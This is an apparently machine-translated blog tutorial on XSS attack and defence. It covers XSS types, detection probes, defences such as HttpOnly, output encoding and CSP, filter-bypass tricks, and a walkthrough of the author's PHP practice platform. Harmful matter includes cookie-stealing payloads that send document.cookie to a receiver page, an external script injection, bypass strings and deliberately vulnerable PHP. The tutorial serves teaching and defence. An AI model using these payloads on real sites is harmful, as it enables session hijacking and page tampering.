Talking about cross-site scripting attack and defense

The road is long and the way to go, I will go up and down

Cross-site scripting is abbreviated as xss (cross-site scripting). The use of the website is mainly due to the imprecise design of the website itself, which leads to the execution of malicious js scripts submitted by users, which is harmful to the website itself. The xss vulnerability is the most common and most flexible vulnerability in web penetration testing. Recently, I read several works such as “White Hat Saying Web Security”, “Web Combat”, “XSS Cross-Site Scripting Attack Analysis and Defense”. After that, I decided to sort out some knowledge about the Xss vulnerability, and use this article as a record.
This article mainly contains xss vulnerability attack and defense theory knowledge, as well as the original xss vulnerability platform, through the actual operation of the xss attack and defense methods. Since the xss theory knowledge network is very rich, I will not explain it in detail here. This article focuses on the process of practical exercises.

Xss classification

Xss is roughly divided into: reflective, storage, and DOM (the three are mainstream)
Reflective xss: Simply “reflect” the data entered by the user to the browser. The attack requires the user to click on it, also called “non-persistent xss”.
Storage type xss: The user-entered data will be “stored” on the server side, also called “persistent xss”. Common message boards can submit functional points for displaying user input.
DOM type xss: The xss vulnerability formed by modifying the DOM node of the page from whether or not the storage can be divided into reflection types.

Note: Regardless of the reflection type or the storage type, it needs to interact with the server side, that is, the server feeds the submitted content to the html source code, causing the xss to be triggered, that is, returning to the html source code, you can see the code that triggers the xss. The DOM type xss does not interact with the server, only interacts with the js on the client, that is, the submitted malicious code is executed in js and then displayed. Then there is a problem with this form, that is, there is no code that triggers xss in the html source code, because the source code returned by the server is the same, but the source code contains a piece of js, and this js generates a piece of xss code after execution. , can be viewed in the review element.

Xss hazard

The xss vulnerability occurs on the client side and is designed to allow the browser to execute a malicious js code submitted by the user for a certain purpose. On the surface, the hazard of the xss vulnerability stops at the client, and is mainly used to execute js to obtain user information (such as browser version, etc.). However, since xss vulnerabilities may occur in many places, the situation of being exploited is not uniform. The following lists some of the hazards that xss vulnerabilities can cause (xss vulnerability hazards include but are not limited to the following).

  • Cookie hijacking (stealing cookies)
  • Adding, deleting, and changing articles in the background (similar to csrf spoofing user clicks, using js emulation browser to send packages, with xmlhttprequest class)
  • Phishing, use xss to construct a login box to defraud the user account password.
  • Xss worm (spreading with xss vulnerability)
  • Modify webpage code
  • Use website redirection
  • Get user information (such as browser information, IP address, etc.)

Using xss to steal cookies

The use of xss for cookie capture hijacking is one of the most commonly used gestures because it can gain administrator privileges, is more harmful, and is simple to use.

Cookies are divided into memory cookies and hard disk cookies. Memory cookies are stored in the browser memory and are closed when the browser is closed. A cookie consists of a variable name and a value. There are standard cookie variables in its properties, as well as user-defined properties.
The details of each parameter of the cookie:

  • Set-cookie: http response header, which sends a cookie to the client.
  • Name=value: What each cookie must contain.
  • Expires=date: EXPires determines the effective expiration date of the cookie, optional. If it is the default, the cookie is not saved on the hard disk and is only saved in the browser memory.
  • Domain=domain-name: Determines which web servers in the inernet domain can read the cookies stored by the browser. The default is the web server domain name.
  • Path=path: defines which pages of the web server can get the cookie sent by the server.
  • Secure: Mark this variable in the cookie, indicating that the browser submits the cookie to the server only if it is the https communication protocol.
  • Httponly: prohibits javascript reading. If a parameter in the cookie has httponly, this parameter will not be obtained by javascript; httponly can prevent xss session hijacking attack.
Using xss to steal cookies

Write a local xss_cookie.php page to receive cookies.

In the presence of the xss vulnerability, insert the following code to send the cookie to xss_cookie.php and pass the cookie parameter into the file.

Commonly used to get the js code of the cookie (can be extended by itself):

<img src="http://localhost/cspt/XSS_cookie.php?cookie='+document.cookie"></img>
<script>new Image().src="http://localhost/cspt/XSS/xss_cookie.php?cookie="+document.cookie;</script>

After the commit, the cookie value is written in the local cookie.txt file.

Using xss to tamper with web pages

Prerequisite: The site must have a stored xss vulnerability and the results will be returned to the page.
In this way, we can insert a piece of js code, the role is to obtain the label in the website source code, and then modify the attribute value to achieve the effect of modifying the web page.
Example: Modify all connection addresses of the website
Write a test.js script locally, as follows:

Insert the following statement into a website that has a stored xss vulnerability

<script type='text/javascript' src='http://localhost/cspt/XSS/test.js'></script>

You can see that all the links on the page where the vulnerability exists are

Note: The external code file loaded by javascript can be any extension (no extension can be used)

Get user information with xss

Xss obtains user information, and most uses the cookie information, but in addition, it can also get the user’s browser version, external network IP address, plug-in type installed by the browser, and so on. The following is a list of client user information obtained with xss (including but not limited to the following).

  • alert(navigator.userAgent); read userAgent content
  • alert(document.cookie); read user cookie content
  • Using the java environment, call the java applet interface to get the client local IP

Note: There are many things you can do with the Xss vulnerability. Some of them have been listed before. I will not explain each one here. If you need to know more about the xss vulnerability, the best way is to read.

Xss vulnerability detection

I introduced the basics of some xss vulnerabilities. How do I detect if a website (a certain point) has an xss vulnerability?

xss probe

We can write the following code in the location of the test xss, view the page source, observe which code is filtered or escaped.


The xss probe detects if the site has the most basic defense against xss vulnerabilities.

Basic xss statement

In addition to the xss probe, we can also enter the simplest test statement:


If the inserted statement is rendered intact in the browser, then two questions are explained:

  • The code is not filtered, indicating the presence of xss
  • The code is not executed, because there is no closed textarea tag, you can view the source code.

If you find that some parameters are being filtered, try using other methods (detailed in the bypass section).

xss detection common statements

List some common xss vulnerability detection codes:

<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>// with a semicolon, can also be divided No. + space (use the carriage return)
<img src=1 onmouseover=alert(1)>
<a href=1 onload=alert(1)>mask</a>
<img src=0 onerror=confirm('1')>

Xss Defense

How to use the xss vulnerability to launch an attack is not the focus of a security engineer. The xss defense is what we try to do. Here are a few common ways to defend your xss. Personally, it is also a very effective way.

  • httponly can be set in the cookie (the browser prohibits the js of the page from accessing the cookie with the httponly attribute)
  • xss filter (check input, set whitelist mode)
  • Output check (encoding, escaping, common encoding: html encoding, js encoding, hexadecimal, etc.)
  • Use different processing methods for output at different locations
  • Handling rich text
  • Use the content-Sencurity-Policy field in the header to specify the whitelist of domain names for requesting js (CSP policy)

Setting httponly

Httponly can’t completely defend against the xss vulnerability. It just stipulates that you can’t use js to get the content of the cookie, so it can only defend against the use of xss for cookie hijacking. Httponly is marked in the set-cookie, which can be marked for a single parameter or for all parameters. Since the method of setting httponly is relatively simple, flexible, and very useful for preventing cookie hijacking, it has gradually become a default standard.

xss filter

The Xss filter is often a text file containing characters that are allowed to be submitted by the user (and some contain characters that are not allowed to be submitted by the user). The point it detects is that when the user inputs, the xss filter is divided into whitelist and blacklist. It is recommended to use the whitelist, but even if the whitelist is used, the xss problem cannot be completely eliminated, and improper use may bring high false positive rate. .

Code escaping

There are many encoding methods, such as html encoding, url encoding, hex encoding, javascript encoding, and so on.
When processing user input, in addition to filtering some sensitive characters by means of xss filter, it is also necessary to match the encoding, and some sensitive characters are changed by the way of encoding, so that they cannot be executed by the browser as js code.

Processing rich text

Some web editors allow users to submit some custom html code called “rich text.” The easiest and most effective way to defend against xss vulnerabilities in rich texts is to control which tags users can use, limited to using only secure tags such as a, div.

Handling xss Vulnerabilities for All Output Types

The xss vulnerability is essentially an html injection, which is to inject html code into a web page. Then the defense is based on a series of filtering and escaping when displaying the user-submitted code on the page.

HTML tag output

That is, the content entered by the user is displayed directly in the label:


Defensive mode, user input for html encoding.

HTML attribute output

That is, the content entered by the user appears in a property of the tag:

<div name="$input"></div>

Defensive mode, user input for html encoding.

Script tag output

That is, the content entered by the user appears in the script tag:

Var a="$input"; // $input=";alert(/xss/);//"; will generate xss vulnerability

Defensive mode, the user input is javascript encoded.

Output in an event

That is, the content output by the user, such as the onclick tag, is output in the event tag.
Defensive mode, the user input is javascript encoded.

Output in CSS

That is, the content entered by the user appears in the label of the css style.
Defense mode, hexadecimal encoding.

Output in address

This is similar to the output in the html attribute, which is output in the href attribute of the a tag.
Defensive mode, the user input is url encoded.

Xss bypassing tips

With xss defense, xss will bypass the defensive posture, which is the performance and result of the attack and defense game. As a security engineer, understanding how to bypass the xss defense can better solve the xss defense problem. (The bypassing xss defense discussed here does not include the part that bypasses the waf)

Bypassing xss filter

The premise of bypassing the xss filter is that the xss filter uses a blacklist and is not completely filtered.
Premise 1: If the “script” string is filtered, but the “<”, “>” characters are not filtered, you can use the javascript:[code] pseudo-protocol.

<img src="javascript:alert('test');">

Premise 2: Filter “script” and filter it only once.


Premise 3: characters such as spaces, carriage returns, etc. are not handled correctly

<img src="javas
Alert(/xss/)" width=100>

There are a lot of ways to bypass the xss filter. I won’t expand them here, just list the common methods:

  • Convert case
  • Mixed case
  • Double quotes to change single quotes
  • Quotes changed to /
  • Use full-width characters
  • Use javascript pseudo-protocol
  • Use special characters such as carriage return, space, etc.
  • Use /**/annotation in css style
  • Use character encoding
  • Use event to trigger xss

In order to deepen my understanding of the xss vulnerability, I specially wrote a set of xss practice platform in php, which contains some common xss defense questions. What we need to do is how to bypass these defenses and think about the weaknesses of these defenses. Where is it?
Xss Shaoguan practice platform page display:

Because time is limited, there is no landscaping of the page, and it is easy to use ~!~.

Platform topics range from easy to difficult, and the next practical and introductory will be simple to complex. When introducing, I will show the defenses in the PHP source code (showing the server code) and how to bypass these defenses (showing the client html code).

No filtering

The following figure is the simplest example of an xss exercise. The web page retrieves the value of the parameter id from the url and displays it directly on the page without any filtering.

View the page source code:

View the php code:

Echo 'currently submitted parameters: '.'<font color=red>'.$id.'</font>';

Filtering “script”

Under normal circumstances, the website is not likely to do any filtering on user input, such as the following case:

By observing the html code we can see that the “script” and “/script” are filtered, check the php code:

$id=preg_replace("/<script>/", "", $id);
$id=preg_replace("/<\/script>/", "", $id);
Echo 'submitted parameters: '.'<font color=red>'.$id.'</font>';

Bypass mode:

Filter alert

Let us increase the difficulty of the point, directly look at the fifth question:

This time after we input the content, the web page directly displays the error, instead of returning the filtered content, which will increase the difficulty of our judgment of the server-side filtering rules. In order to facilitate the demonstration, I directly open the php code to view here (the actual testing process is definitely a long one, you need a label to try)

if (preg_match('/alert/i',$id)){
Echo 'Error!';
Echo 'submitted parameters: '.'<font color=red>'.$id.'</font>';

Knowing that the server has filtered the alert tag, we can construct the bypass mode:

There are several types of labels that can be used to construct a bullet box (of course, the real environment should not only filter the bullet box label)

Combining event construction xss

At first glance, there is no good idea for the eighth question.

Then I looked for some clues by looking at the html source:

After testing a few times, we found changes in the source code of the web page:

Let’s see how the PHP code is written:

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method='post'>
YOUR CODE:<input type='text' name='code'/>
<input type='submit' name='submit'/>

You can see that the php code implements outputting the url of the web page itself into the action attribute of the form.
Construct xss:

View the html source code

<form action="/XSS/xss_8.php /" onsubmit='alert(1)' name="" method='post'>

Then click the button and the onsubmit event is executed.

Summary: There are still many cases about xss. Due to the length of the space, I will not demonstrate them here. The xss practice platform only lists the most basic and common xss vulnerability cases, and the instance can be added later. The key point is that through practice, we can deeply understand the location of xss and how to better defend it.

Xss Platform

The use of xss vulnerability is inseparable from a powerful xss platform. For the construction and use of the xss platform, please move: [xss platform to build a small note] ( %B9%B3%E5%8F%B0%E6%90%AD%E5%BB%BA%E5%B0%8F%E8%AE%B0/)

Description: This article will continue to update some xss bypass and defensive posture. At present, the description of bypass and defensive posture is limited. First, because I understand the xss vulnerability is not deep enough, the second is due to Lack of test cases. But as the study progresses, I believe that I will record more and better dry goods, and I look forward to it.

本文标题:Talking about cross-site scripting attack and defense


发布时间:2017年05月31日 - 09:05

最后更新:2019年08月16日 - 15:08


许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

nmask wechat